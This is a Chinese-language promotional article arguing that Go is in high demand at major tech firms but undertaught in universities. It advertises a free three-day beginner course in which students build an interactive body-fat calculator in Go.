为啥一线大厂的重要业务都在用 Go 技术栈开发,每次招聘也有大量 Go 开发岗的 HC 放出,以 Go 为主力开发语言的校招生,还是这么少? 图源:牛客网 我想很大一部分原因,还是和传统教学内容与就业市场需求不精准匹配有关。虽然市场需要 Go 研发工程师,但学校的教学仍以 C 和 Java 为主要编程语言。 以中国科技大学计算机专业本科教课程安排为例,我们能看到,传统教学内容和就业市场需求,已经存在些许脱节的情况。 图源:GitHub 中国科技大学课程目录 那么,对于22应届、23届及以后的在校生们来说,从现在开始了解 Go 语言晚不晚?Go 和 Java 相比,到底有没有核心竞争力? 我的回答是,从任何时刻开始学习 Go 语言都不晚,如果你想在「云时代」进入 「互联网」企业从事「后端」研发岗,那么 Go 是你的首选编程语言。 Go 语法简单,代码简洁,格式统一,阅读方便。 Go 性能强、编译时间短,开发效率高。 几乎所有的云原生组件,如 Docker、Kubernetes、Istio、etcd、prometheus 都是用 Go 实现的。        …… 虽然 Go 语言学习曲线平滑,适合新手,但要想快速入门,规范学习,最高效的方法还是让大佬给你一个正确的学习思路。 这里我要给你推荐一个 Go 语言入门课程。 3 天时间,从 0 到 1,自己用 Go 语言写一个可交互的体脂计算器。 扫码添加微信 0 元学习  👇👇👇 用 Go 写一个可交互的体脂计算器 01 五大环节,高效入门 Go 语言 一、基础语法    全方位讲解 Go 语言基础语法,帮你打好编程地基。 二、上手实战    手把手教你写代码,零基础也能自己写体脂计算器。 三、实用指南    业内资深工程师,倾情分享如何成为一名 Go 工程师。 四、作业批改    有讲有练有反馈,大厂在职助教答疑解惑,助力成长。 五、方法指导    专业人士现身说法,教你避坑排雷,高效学习 Go 语言。 课程大纲 02 讲师 + 领教,带你轻松初识 Go 语言! 在加入 eBay 之前,李老师曾在 VMware 做过公有云相关的开发工作,也是《Kubernetes生产化实践之路》的作者之一。 03 学习不是一个人的孤岛! 教学、服务两手抓,为你的学习体验和学习效果保驾护航! 04 完课即赠校招就业大礼包!...
阅读全文